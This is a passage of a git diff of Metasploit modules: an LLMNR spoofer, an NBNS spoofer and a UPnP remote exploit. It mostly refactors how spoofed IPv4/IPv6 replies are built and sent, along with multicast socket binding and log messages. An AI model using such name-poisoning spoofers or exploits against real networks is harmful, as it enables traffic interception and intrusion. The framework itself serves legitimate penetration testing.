:body => dns_pkt.data
|
||||||
|
)
|
||||||
|
udp.udp_recalc
|
||||||
|
if rhost.ipv4?
|
||||||
|
ip_pkt = ::PacketFu::IPPacket.new(
|
||||||
|
:ip_src => spoof.hton,
|
||||||
|
:ip_dst => rhost.hton,
|
||||||
|
:ip_proto => 0x11, # UDP
|
||||||
|
:body => udp
|
||||||
|
)
|
||||||
|
elsif rhost.ipv6?
|
||||||
|
ip_pkt = ::PacketFu::IPv6Packet.new(
|
||||||
|
:ipv6_src => spoof.hton,
|
||||||
|
:ipv6_dst => rhost.hton,
|
||||||
|
:ip_proto => 0x11, # UDP
|
||||||
|
:body => udp
|
||||||
|
)
|
||||||
else
|
else
|
||||||
vprint_status("Packet received from #{rhost} with name #{llmnr_decodedname} did not match REGEX \"#{datastore['REGEX']}\"")
|
# Should never get here
|
||||||
|
print_error("IP version is not 4 or 6. Failed to parse?")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
ip_pkt.recalc
|
||||||
|
|
||||||
|
open_pcap
|
||||||
|
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||||
|
close_pcap
|
||||||
end
|
end
|
||||||
|
|
||||||
def monitor_socket
|
def monitor_socket
|
||||||
|
@ -137,12 +150,11 @@ attr_accessor :sock, :thread
|
||||||
wds = []
|
wds = []
|
||||||
eds = [self.sock]
|
eds = [self.sock]
|
||||||
|
|
||||||
r,w,e = ::IO.select(rds,wds,eds,0.25)
|
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||||
|
|
||||||
if (r != nil and r[0] == self.sock)
|
if (r != nil and r[0] == self.sock)
|
||||||
packet, host, port = self.sock.recvfrom(65535)
|
packet, host, port = self.sock.recvfrom(65535)
|
||||||
addr = [host,port]
|
dispatch_request(packet, host, port)
|
||||||
dispatch_request(packet, addr)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -166,16 +178,23 @@ attr_accessor :sock, :thread
|
||||||
check_pcaprub_loaded()
|
check_pcaprub_loaded()
|
||||||
::Socket.do_not_reverse_lookup = true
|
::Socket.do_not_reverse_lookup = true
|
||||||
|
|
||||||
multicast_addr = "224.0.0.252" #Multicast Address for LLMNR
|
# Multicast Address for LLMNR
|
||||||
|
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||||
|
|
||||||
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton
|
# The bind address here will determine which interface we receive
|
||||||
|
# multicast packets from. If the address is INADDR_ANY, we get them
|
||||||
|
# from all interfaces, so try to restrict if we can, but fall back
|
||||||
|
# if we can't
|
||||||
|
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
|
||||||
|
|
||||||
|
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
|
||||||
self.sock = Rex::Socket.create_udp(
|
self.sock = Rex::Socket.create_udp(
|
||||||
|
# This must be INADDR_ANY to receive multicast packets
|
||||||
'LocalHost' => "0.0.0.0",
|
'LocalHost' => "0.0.0.0",
|
||||||
'LocalPort' => 5355)
|
'LocalPort' => 5355)
|
||||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||||
|
|
||||||
|
|
||||||
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
||||||
monitor_socket
|
monitor_socket
|
||||||
}
|
}
|
||||||
|
|
|
@ -67,9 +67,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||||
packet, addr = @sock.recvfrom(512)
|
packet, addr = @sock.recvfrom(512)
|
||||||
vprint_status("Packet Received from #{addr[3]}")
|
|
||||||
|
|
||||||
rhost = addr[3]
|
rhost = addr[3]
|
||||||
|
|
||||||
break if packet.length == 0
|
break if packet.length == 0
|
||||||
|
|
||||||
nbnsq_transid = packet[0..1]
|
nbnsq_transid = packet[0..1]
|
||||||
|
@ -89,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
||||||
|
|
||||||
vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...")
|
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
|
||||||
|
|
||||||
if datastore['DEBUG']
|
if datastore['DEBUG']
|
||||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||||
|
@ -137,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
close_pcap
|
close_pcap
|
||||||
|
|
||||||
else
|
else
|
||||||
vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex")
|
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
|
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
|
||||||
|
|
||||||
r = udp_sock.sendto(pkt, rhost, rport, 0)
|
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||||
|
|
||||||
1.upto(5) do
|
1.upto(5) do
|
||||||
::IO.select(nil, nil, nil, 1)
|
::IO.select(nil, nil, nil, 1)
|
||||||
|
@ -344,7 +344,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# Generate a buffer that provides a starting point for exploit development
|
# Generate a buffer that provides a starting point for exploit development
|
||||||
def target_debug
|
def target_debug
|
||||||
buffer = Rex::Text.pattern_create(2000)
|
Rex::Text.pattern_create(2000)
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_real_payload(cli)
|
def stage_real_payload(cli)
|
||||||
|
@ -415,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
res = nil
|
res = nil
|
||||||
1.upto(5) do
|
1.upto(5) do
|
||||||
res,addr,info = udp_sock.recvfrom(65535, 1.0)
|
res,_,_ = udp_sock.recvfrom(65535, 1.0)
|
||||||
break if res and res =~ /^(Server|Location)/mi
|
break if res and res =~ /^(Server|Location)/mi
|
||||||
udp_sock.sendto(msearch, rhost, rport, 0)
|
udp_sock.sendto(msearch, rhost, rport, 0)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue